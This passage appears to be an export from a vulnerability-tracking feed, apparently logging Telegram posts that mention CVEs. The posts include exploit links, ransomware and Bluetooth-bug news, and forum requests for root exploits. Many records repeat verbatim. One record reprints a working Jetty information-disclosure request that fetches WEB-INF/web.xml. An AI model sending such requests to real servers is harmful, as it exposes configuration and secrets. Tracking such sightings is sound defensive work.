0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-02T01:04:43.639639Z"}, {"uuid": "b0d337c2-e6da-4fd2-8cb6-ea2fd26493de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-02T01:04:43.684661Z"}, {"uuid": "91257ed6-a05a-4f01-aecd-6f4b25622021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-02T01:04:43.729896Z"}, {"uuid": "7cea11a3-8c2e-41fe-8734-4fbd1bc3ee53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-02T01:04:44.119048Z"}, {"uuid": "7b91cbdf-6c50-4aa2-a1ef-55aaca2424c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-02T01:04:44.163288Z"}, {"uuid": "79029564-7965-40a1-94c0-6e02070e965c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-02T01:04:44.431065Z"}, {"uuid": "89901186-7c20-4e9d-bb67-bf3cf87bf48b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "seen", "source": "https://t.me/cissp/2786", "content": "Threat Research:\nSAML XML Injection + Example Exploits\n(Attribute injections and InResponseTo injections)\nhttps://research.nccgroup.com/2021/03/29/saml-xml-injection/#AttributeInjections\n\nCVE-2021-28918:\nServer-Side Request Forgery (SSRF)\nin Netmask package for npm <=1.1.0 (PoC)\nhttps://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md\n\nMalware analysis:\nJumping Into Shellcode\nhttps://isc.sans.edu/forums/diary/Jumping+into+Shellcode/27256\n\nDebugging System with DCI and Windbg:\nhttp://standa-note.blogspot.com/2021/03/debugging-system-with-dci-and-windbg.html?m=1\n]-> The report and the exploit of CVE-2021-26943, the kernel-to-SMM local privilege escalation vulnerability in ASUS UX360CA BIOS version 303:\nhttps://github.com/tandasat/SmmExploit\n\nHow the Web Audio API is used for browser fingerprinting\nhttps://fingerprintjs.com/blog/audio-fingerprinting\n]-> Browser fingerprinting library with the highest accuracy and stability:\nhttps://github.com/fingerprintjs/fingerprintjs", "creation_timestamp": "2026-09-02T01:04:46.622008Z"}, {"uuid": "b5722ed5-0d4b-4ce8-83ca-0ec1f49bab85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-01)", "content": "", "creation_timestamp": "2026-09-02T10:15:10.596538Z"}, {"uuid": "f3fbe6db-6510-40f6-812d-2f6d538a7a8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "https://t.me/hacking_Attack/63752", "content": "hacking: security in practice\nAnyone know where I can find a PoC for CVE-2021-28664\n\nI have a Hisense U8G with Android 10 kernel version 4.19.75 with a 32 bit userland. Already unlocked the bootloader, but the firmware package is encrypted with a key that I can only get after rooting.\n\nI need some other way to dump my boot.img and the kernel is too old for DirtyPipe and too new for mtk-su. The exploit in the title should work for me, but I can't find any PoC to run.\n\nI just need temp root basically\n\nsubmitted by /u/WeedyPests \n[link] [comments]", "creation_timestamp": "2026-09-05T14:00:04.188498Z"}, {"uuid": "c9407237-4639-42dd-adb1-a836d1f76bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "https://t.me/hacking_Attack/63752", "content": "hacking: security in practice\nAnyone know where I can find a PoC for CVE-2021-28664\n\nI have a Hisense U8G with Android 10 kernel version 4.19.75 with a 32 bit userland. Already unlocked the bootloader, but the firmware package is encrypted with a key that I can only get after rooting.\n\nI need some other way to dump my boot.img and the kernel is too old for DirtyPipe and too new for mtk-su. The exploit in the title should work for me, but I can't find any PoC to run.\n\nI just need temp root basically\n\nsubmitted by /u/WeedyPests \n[link] [comments]", "creation_timestamp": "2026-09-06T00:00:44.803199Z"}, {"uuid": "932991ac-0996-4962-9fe5-5f45c779a6a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "https://t.me/hacking_Attack/38939", "content": "Black Hat Ethical Hacking\nQlocker ransomware returns \u2013 targets QNAP NAS devices worldwide\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Qlocker ransomware returns \u2013 targets QNAP NAS devices worldwidePost Views: 104 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThreat actors behind the Qlocker ransomware are once again targeting Internet-exposed QNAP Network Attached Storage (NAS) devices worldwide. \nQlocker has previously targeted QNAP customers in a massive ransomware campaign\u00a0that started during the week of April 19, moving victims\u2019 files within password-protected 7-zip archives with the .7z extension after breaching their NAS devices.\n\nQNAP warned that the attackers were exploiting the CVE-2021-28799 hard-coded credentials vulnerability\u00a0in the HBS 3 Hybrid Backup Sync app to hack into users\u2019 devices and lock their files.\n\nHowever, for some QNAP customers targeted in last year\u2019s Qlocker ransomware campaign, the warning came way too late after the attackers extorted hundreds of QNAP users.\n\nIn total, affected QNAP users lost roughly $350,000 within a single month after paying ransoms of 0.01 bitcoins (worth approximately $500 at the time) to get the password needed to recover their data.\nSee Also: Complete Offensive Security and Ethical Hacking Course Qlocker returns in new 2022 campaignThe new Qlocker ransomware campaign began on January 6 and it drops ransom notes named !!!READ_ME.txt on compromised devices.\nhttps://www.bleepstatic.com/images/news/u/1109292/2022/Qlocker%20ransom%20note.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T13:00:05.150480Z"}, {"uuid": "dd052a88-fbd9-466f-81db-b6f725a05030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "https://t.me/hacking_Attack/38939", "content": "Black Hat Ethical Hacking\nQlocker ransomware returns \u2013 targets QNAP NAS devices worldwide\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Qlocker ransomware returns \u2013 targets QNAP NAS devices worldwidePost Views: 104 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nThreat actors behind the Qlocker ransomware are once again targeting Internet-exposed QNAP Network Attached Storage (NAS) devices worldwide. \nQlocker has previously targeted QNAP customers in a massive ransomware campaign\u00a0that started during the week of April 19, moving victims\u2019 files within password-protected 7-zip archives with the .7z extension after breaching their NAS devices.\n\nQNAP warned that the attackers were exploiting the CVE-2021-28799 hard-coded credentials vulnerability\u00a0in the HBS 3 Hybrid Backup Sync app to hack into users\u2019 devices and lock their files.\n\nHowever, for some QNAP customers targeted in last year\u2019s Qlocker ransomware campaign, the warning came way too late after the attackers extorted hundreds of QNAP users.\n\nIn total, affected QNAP users lost roughly $350,000 within a single month after paying ransoms of 0.01 bitcoins (worth approximately $500 at the time) to get the password needed to recover their data.\nSee Also: Complete Offensive Security and Ethical Hacking Course Qlocker returns in new 2022 campaignThe new Qlocker ransomware campaign began on January 6 and it drops ransom notes named !!!READ_ME.txt on compromised devices.\nhttps://www.bleepstatic.com/images/news/u/1109292/2022/Qlocker%20ransom%20note.png \n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:14.311182Z"}, {"uuid": "50fc521f-c88b-4ebb-9309-97fcc2f77e7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/28643", "content": "Exploit Collector\nJetty 9.4.37.v20210219 Information Disclosure\n\nhttps://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png \nJetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.\n\nMD5 | ff583cecb4b3cb1a0a4e1562056d0981\n\nDownload\n# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure \n# Date: 2021-10-21\n# Exploit Author: Mayank Deshmukh\n# Vendor Homepage: https://www.eclipse.org/jetty/\n# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/\n# Version: 9.4.37.v20210219 and 9.4.38.v20210224\n# Tested on: Kali Linux\n# CVE : CVE-2021-28164\n\nPOC #1 - web.xml\n\nGET /%2e/WEB-INF/web.xml HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T07:00:14.340397Z"}, {"uuid": "028dd4ed-34b1-4987-8559-43f1d0b8fe7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/24602", "content": "hacking: security in practice\nCVE-2021-28663 - POC - Explanation\n\nHello,\n\nI have come across the poc for this exploit for Mali GPUs: https://github.com/lntrx/CVE-2021-28663 . I would like to run it on my android smartphone (Huawei P30 Pro), as it has a vulnerable Mali GPU. \n\n\u200b\n\nThe issue is that I am not very proficient at C and thus do not understand much of the exploit. The exploit fails very early on (https://github.com/lntrx/CVE-2021-28663/blob/main/mali_poc.c#L42). Could someone explain to me the workings of it, as the best I can do is add a bunch of print statements to see what is happening.\n\nsubmitted by /u/reujea0 \n[link] [comments]", "creation_timestamp": "2026-09-07T14:00:05.155391Z"}, {"uuid": "a1c2d4d7-bd6a-4414-bb3e-6bb2073185ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28139", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/22453", "content": "Black Hat Ethical Hacking\nBluetooth Bugs Open Billions of Devices to DoS, Code Execution\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Bluetooth Bugs Open Billions of Devices to DoS, Code ExecutionPost Views: 70 \nReading Time: 2 Minutes\nResearchers have disclosed a group of 16 different vulnerabilities collectively dubbed BrakTooth, which impact billions of devices that rely on Bluetooth Classic (BT) for communication.\nAccording to an academic paper from the University of Singapore, the bugs are found in the closed commercial BT stack used by at least 1,400 embedded chip components, that can lead to a host of attack types \u2013 mainly denial of service (DoS) via firmware crashes (the term \u201cbrak\u201d is actually Norwegian for \u201ccrash\u201d). One of the bugs can also lead to arbitrary code execution (ACE).\n\nThe team analyzed 13 pieces of BT hardware from 11 vendors; so far, there have been 20 CVEs assigned across them; with four vulnerabilities pending CVE assignments from Intel and Qualcomm. Some of the bugs are patched, others are in the process of being patched; but, researchers said in the paper, \u201cit is highly probable that many other products (beyond the \u22481400 entries observed in Bluetooth listing) are affected by BrakTooth,\u201d including BT system-on-chips (SoCs), BT modules or additional BT end products.\nSee Also: Complete Offensive Security and Ethical Hacking Course Potentially, billions of devices could be affected worldwide, researchers said.\n\nHere\u2019s a table of the 16 bugs:\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/09/02135933/BrakTooth.png \nSummary of new vulnerabilities and other anomalies found (Vx:\u00a0Vulnerability,\u00a0Ax:\u00a0Non-compliance).\nAnd here\u2019s a list of known affected vendors:\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/09/02140009/BrakTook-Vendors.png \nNumber of product listings with respect to BT SoC.\nThe researchers uncovered three main attack scenarios for the bugs, the most severe of which results in ACE on internet-of-things (IoT) devices.\nSee Also: Critical Valve Bug Lets Gamers Add Unlimited Funds to Steam Wallets Arbitrary Code Execution for Smart Home DevicesThe most critical vulnerability (CVE-2021-28139) affects ESP32 SoCs, a series of low-cost, low-power SoC microcontrollers with integrated Wi-Fi and dual-mode Bluetooth, from the vendor Espressif. These are commonly found in IoT appliances used in industry automation, smart-home device, personal fitness gadgets and more.\n\n\u201cA lack of out-of-bounds check in ESP32 BT Library allows the reception of a mutated LMP_feature_response_ext,\u201d according to the paper. \u201cThis results in the injection of eight bytes of arbitrary data outside the bounds of Extended Feature Page Table.\u201d\n\nTo exploit it, an attacker who knows the firmware layout of a target device can write a known function address (JMP Addr.) to the offset pointed by Features Page field.\n\nResearchers successfully forced ESP32 into erasing data housed in devices\u2019 non-volatile random-access memory (NVRAM), which retains data without applied power. They were also able to disable both BT and Wi-Fi on the device; and most concerningly, control the general-purpose input/output (GPIO) of the device if the attacker knows addresses to attached functions-controlling actuators. GPIO is used to communicate the ON/OFF signals received from connected switches, or the digital readings received from connected sensors, to the CPU.\n\n\u201cThis has serious implications if such an attack is applied to Bluetooth-enabled smart home products,\u201d the researchers warned.\nSee Also: Offensive Security Tool: Starkiller DoSing Laptops & SmartphonesThe second attack scenar[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T17:00:03.873288Z"}, {"uuid": "cb642e69-259b-4eec-939f-e2d783a1e7f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28135", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/22454", "content": "io can lead to DoS in laptops and smartphones. Researchers were able to achieve this using gear containing Intel AX200 SoCs and Qualcomm WCN3990 SoCs.\n\nOne of the DoS bugs (CVE-2021-34147) exists because of a failure in the SoC to free resources upon receiving an invalid LMP_timing_accuracy_response from a connected BT device (i.e., a \u201cslave,\u201d according to the paper:\n\n\u201cThe attacker can exhaust the SoC by (a) paging, (b) sending the malformed packet, and (c) disconnecting without sending LMP_detach,\u201d researchers wrote. \u201cThese steps are repeated with a different BT address (i.e., BDAddress) until the SoC is exhausted from accepting new connections. On exhaustion, the SoC fails to recover itself and disrupts current active connections, triggering firmware crashes sporadically.\u201d\n\nThe researchers were able to forcibly disconnect slave BT devices from Windows and Linux laptops, and cause BT headset disruptions on Pocophone F1 and Oppo Reno 5G smartphones.\n\nAnother DoS bug (CVE pending) affects only devices using the Intel AX200 SoC.\n\nIt\u2019s triggered when an oversized LMP_timing_accuracy_request (i.e., bigger than 17 bytes) is sent to an AX200 slave.\n\n\u201cThis temporarily corrupts AX200 firmware, which responds incorrectly during a subsequent BT connection and eventually disables the paging scan procedure,\u201d researchers explained. \u201cThus, scanning AX200 works, but no connection is established from an external BT device.\u201d\n\nAside from disconnecting master BT devices connected to a vulnerable laptop and leading to sporadic BT firmware crashes, this state of affairs can also be used for man-in-the-middle (MiTM) attacks. Bad actors can easily trick a user into connecting to the attacker\u2019s BT hardware instead of the legitimate device, researchers noted \u2013 with persistence.\n\n\u201cIndeed, the user needs to manually re-enable BT to restore functionality,\u201d they said, adding, \u201cDue to the number of smartphones and laptops vulnerable to such attacks, and the common use of BT connectivity during video-conference calls and music streaming, updating the affected devices is essential.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerBT Audio Product FreezesA third attack scenario was discovered while probing various BT speakers (specifically the Mi Portable Bluetooth Speaker \u2013 MDZ-36-DB, BT Headphone and BT Audio Modules) and an unbranded BT audio receiver.\n\nThey all are variously subject to a series of bugs (CVE-2021-31609 andCVE-2021-31612, failures when sending oversized LMP packets; CVE-2021-31613, truncated packets; CVE-2021-31611, starting procedures out-of-order; and CVE-2021-28135, CVE-2021-28155 and CVE-2021-31717, feature response flooding).\n\nSuccessful exploits can \u201cfreeze\u201d devices, requiring the user to manually turn on unresponsive devices afterwards. For the Xiaomi MDZ-36-DBs and JBL TUNE 500BTs, this can be done while the user is actively playing music, researchers noted.\n\n\u201cAlthough issues were found in SoCs targeted to audio products, the BT implementation can be reused in a number of SoCs destined to different BT products,\u201d they added.\n\nThese are just a few of the possible exploit scenarios; a full vulnerability listing with descriptions can be found here.\n\nThe researchers have released\u00a0a BrakTooth\u00a0proof-of-concept (PoC) tool for vendors producing BT SoCs, modules and products \u2013 available for them to use to check their gear\u2019s vulnerability.\n\nBlueTooth vulnerabilities are particularly concerning given the vast footprint that they can impact, and unfortunately, they\u2019re not that uncommon. For more, please see Threatpost\u2019s recent previous BlueTooth bug coverage:\n\n* Bluetooth Bug Opens Devices to Man-in-the-Middle Attacks\n* Bluetooth Bug Allows Man-in-the-Middle Attacks on Phones\n* Bluetooth Spoofing Bug Affects Billions of IoT Devices\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T17:00:04.235493Z"}, {"uuid": "6b50406b-d8dd-47ff-9aad-e3f888dd81b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28155", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/22454", "content": "io can lead to DoS in laptops and smartphones. Researchers were able to achieve this using gear containing Intel AX200 SoCs and Qualcomm WCN3990 SoCs.\n\nOne of the DoS bugs (CVE-2021-34147) exists because of a failure in the SoC to free resources upon receiving an invalid LMP_timing_accuracy_response from a connected BT device (i.e., a \u201cslave,\u201d according to the paper:\n\n\u201cThe attacker can exhaust the SoC by (a) paging, (b) sending the malformed packet, and (c) disconnecting without sending LMP_detach,\u201d researchers wrote. \u201cThese steps are repeated with a different BT address (i.e., BDAddress) until the SoC is exhausted from accepting new connections. On exhaustion, the SoC fails to recover itself and disrupts current active connections, triggering firmware crashes sporadically.\u201d\n\nThe researchers were able to forcibly disconnect slave BT devices from Windows and Linux laptops, and cause BT headset disruptions on Pocophone F1 and Oppo Reno 5G smartphones.\n\nAnother DoS bug (CVE pending) affects only devices using the Intel AX200 SoC.\n\nIt\u2019s triggered when an oversized LMP_timing_accuracy_request (i.e., bigger than 17 bytes) is sent to an AX200 slave.\n\n\u201cThis temporarily corrupts AX200 firmware, which responds incorrectly during a subsequent BT connection and eventually disables the paging scan procedure,\u201d researchers explained. \u201cThus, scanning AX200 works, but no connection is established from an external BT device.\u201d\n\nAside from disconnecting master BT devices connected to a vulnerable laptop and leading to sporadic BT firmware crashes, this state of affairs can also be used for man-in-the-middle (MiTM) attacks. Bad actors can easily trick a user into connecting to the attacker\u2019s BT hardware instead of the legitimate device, researchers noted \u2013 with persistence.\n\n\u201cIndeed, the user needs to manually re-enable BT to restore functionality,\u201d they said, adding, \u201cDue to the number of smartphones and laptops vulnerable to such attacks, and the common use of BT connectivity during video-conference calls and music streaming, updating the affected devices is essential.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerBT Audio Product FreezesA third attack scenario was discovered while probing various BT speakers (specifically the Mi Portable Bluetooth Speaker \u2013 MDZ-36-DB, BT Headphone and BT Audio Modules) and an unbranded BT audio receiver.\n\nThey all are variously subject to a series of bugs (CVE-2021-31609 andCVE-2021-31612, failures when sending oversized LMP packets; CVE-2021-31613, truncated packets; CVE-2021-31611, starting procedures out-of-order; and CVE-2021-28135, CVE-2021-28155 and CVE-2021-31717, feature response flooding).\n\nSuccessful exploits can \u201cfreeze\u201d devices, requiring the user to manually turn on unresponsive devices afterwards. For the Xiaomi MDZ-36-DBs and JBL TUNE 500BTs, this can be done while the user is actively playing music, researchers noted.\n\n\u201cAlthough issues were found in SoCs targeted to audio products, the BT implementation can be reused in a number of SoCs destined to different BT products,\u201d they added.\n\nThese are just a few of the possible exploit scenarios; a full vulnerability listing with descriptions can be found here.\n\nThe researchers have released\u00a0a BrakTooth\u00a0proof-of-concept (PoC) tool for vendors producing BT SoCs, modules and products \u2013 available for them to use to check their gear\u2019s vulnerability.\n\nBlueTooth vulnerabilities are particularly concerning given the vast footprint that they can impact, and unfortunately, they\u2019re not that uncommon. For more, please see Threatpost\u2019s recent previous BlueTooth bug coverage:\n\n* Bluetooth Bug Opens Devices to Man-in-the-Middle Attacks\n* Bluetooth Bug Allows Man-in-the-Middle Attacks on Phones\n* Bluetooth Spoofing Bug Affects Billions of IoT Devices\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/wordpress_[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T17:00:04.385658Z"}, {"uuid": "d615daf3-b151-46b0-9f75-782de05228b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/20614", "content": "ntent/uploads/sites/103/2021/08/17113113/capturing-credentials-e1629214353657.png Attacker exploiting device personation vulnerability to capture credentials. Source: Mandiant.\nAfter that, a threat actor can remotely connect to the victimized device, access audio/visual data and execute remote procedure calls (RPC), Mandiant said. Due to vulnerabilities in 